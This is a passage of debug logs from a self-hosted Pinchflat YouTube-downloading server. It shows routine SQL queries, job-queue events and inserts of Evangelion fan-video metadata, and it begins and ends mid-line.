heart[Wq4UaL6Tq5w].m4a", false, false, 1, [], 1, ~U[2021-02-04 00:26:39Z], ~U[2026-07-24 02:22:41Z], ~U[2026-07-24 02:22:41Z], "hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", false, 1, ~U[2021-02-04 00:26:39Z]] 22:22:42.092 [debug] QUERY OK source="sources" db=0.1ms idle=216.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:42.092 [debug] QUERY OK source="media_items" db=0.1ms idle=215.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-08-02 04:45:46Z], 1] 22:22:42.528 [debug] QUERY OK source="media_items" db=435.5ms idle=214.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "4566616f-f150-48e2-8457-1c2442484620", false, "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", 6, "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, false, 1, [], 1, ~U[2021-08-02 04:45:46Z], ~U[2026-07-24 02:22:42Z], ~U[2026-07-24 02:22:42Z], "“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, 1, ~U[2021-08-02 04:45:46Z]] 22:22:42.529 [info] POST /sources/1/force_index 22:22:42.529 [debug] Processing with PinchflatWeb.Sources.SourceController.force_index/2 Parameters: %{"_csrf_token" => "CF4KDzYxPngbXhkGVCF1GAQ6dQoKJC1za398_yW9p8-V6lDNTPAyYPz0", "_method" => "post", "source_id" => "1"} Pipelines: [:browser] 22:22:42.529 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=437.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:42.529 [debug] QUERY OK source="sources" db=0.4ms idle=437.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:42.530 [debug] QUERY OK source="media_items" db=0.4ms idle=437.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-11-27 04:39:19Z], 1] 22:22:42.530 [debug] QUERY OK source="tasks" db=0.4ms idle=430.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."worker" LIKE ?) AND (o1."state" IN (?,?,?,?)) [1, "%.MediaCollectionIndexingWorker", "available", "scheduled", "retryable", "executing"] 22:22:42.669 [debug] QUERY OK source="media_items" db=138.6ms queue=0.1ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "09e9c7ab-82b7-42ea-a813-df4be494a0b6", false, "CVe8asL13uc", 132, false, "https://www.youtube.com/watch?v=CVe8asL13uc", 7, "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", false, false, 1, [], 1, ~U[2021-11-27 04:39:19Z], ~U[2026-07-24 02:22:42Z], ~U[2026-07-24 02:22:42Z], "watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "CVe8asL13uc", 132, false, "https://www.youtube.com/watch?v=CVe8asL13uc", "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", false, 1, ~U[2021-11-27 04:39:19Z]] 22:22:42.689 [debug] QUERY OK source="sources" db=20.0ms idle=139.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:42.690 [debug] QUERY OK source="media_items" db=0.2ms idle=159.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-09-12 06:37:58Z], 1] 22:22:42.857 [info] Exqlite.Connection (#PID<0.2321.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.3040.0> exited 22:22:43.333 [debug] QUERY OK source="tasks" db=476.8ms queue=0.1ms idle=187.5ms DELETE FROM "tasks" WHERE "id" = ? [189] 22:22:43.334 [info] {"args":{"force":true,"id":1},"id":201,"meta":{},"state":"cancelled","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":43992095,"event":"job:stop","queue_time":184797,"attempt":3,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:22:43.340 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 22:22:43.679 [debug] QUERY OK source="tasks" db=123.7ms idle=207.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [223, 1, ~U[2026-07-24 02:22:43Z], ~U[2026-07-24 02:22:43Z]] 22:22:43.679 [info] Sent 302 in 1150ms 22:22:43.733 [info] GET /sources/1 22:22:43.733 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:22:43.735 [debug] QUERY OK source="sources" db=0.6ms idle=382.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:43.735 [debug] QUERY OK source="media_profiles" db=0.3ms idle=180.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:43.736 [debug] QUERY OK source="tasks" db=0.4ms idle=57.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 22:22:43.737 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [223] 22:22:43.738 [debug] QUERY OK source="settings" db=0.3ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:43.738 [debug] QUERY OK source="settings" db=0.2ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:43.874 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=136.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:43.877 [debug] QUERY OK source="sources" db=0.4ms idle=138.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:43.878 [debug] QUERY OK source="media_items" db=0.5ms idle=139.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:22:43.880 [debug] QUERY OK source="media_items" db=1.1ms idle=4.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:43.881 [debug] QUERY OK source="sources" db=0.6ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:43.882 [debug] QUERY OK source="media_items" db=0.1ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:22:43.882 [debug] QUERY OK source="media_items" db=0.1ms idle=3.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:43.883 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:43.883 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:22:43.884 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:43.884 [info] Sent 200 in 150ms 22:22:44.193 [info] CONNECTED TO Phoenix.LiveView.Socket in 22µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "IwdLWiohMGweIUElNw9AJwQLYEopERgcJjxmCiY-uGuuUBqqTaT9zeO_", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:22:44.213 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 1} 22:22:44.213 [debug] QUERY OK source="sources" db=0.2ms idle=331.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:44.214 [debug] QUERY OK source="media_items" db=0.2ms idle=331.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:22:44.214 [debug] QUERY OK source="media_items" db=0.3ms idle=331.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:44.214 [debug] Replied in 1ms 22:22:44.215 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 1} 22:22:44.215 [debug] QUERY OK source="sources" db=0.1ms idle=331.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:44.215 [debug] QUERY OK source="media_items" db=0.0ms idle=331.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:22:44.216 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:44.216 [debug] Replied in 776µs 22:22:44.217 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 1} 22:22:44.217 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:44.217 [debug] QUERY OK source="media_items" db=0.1ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = 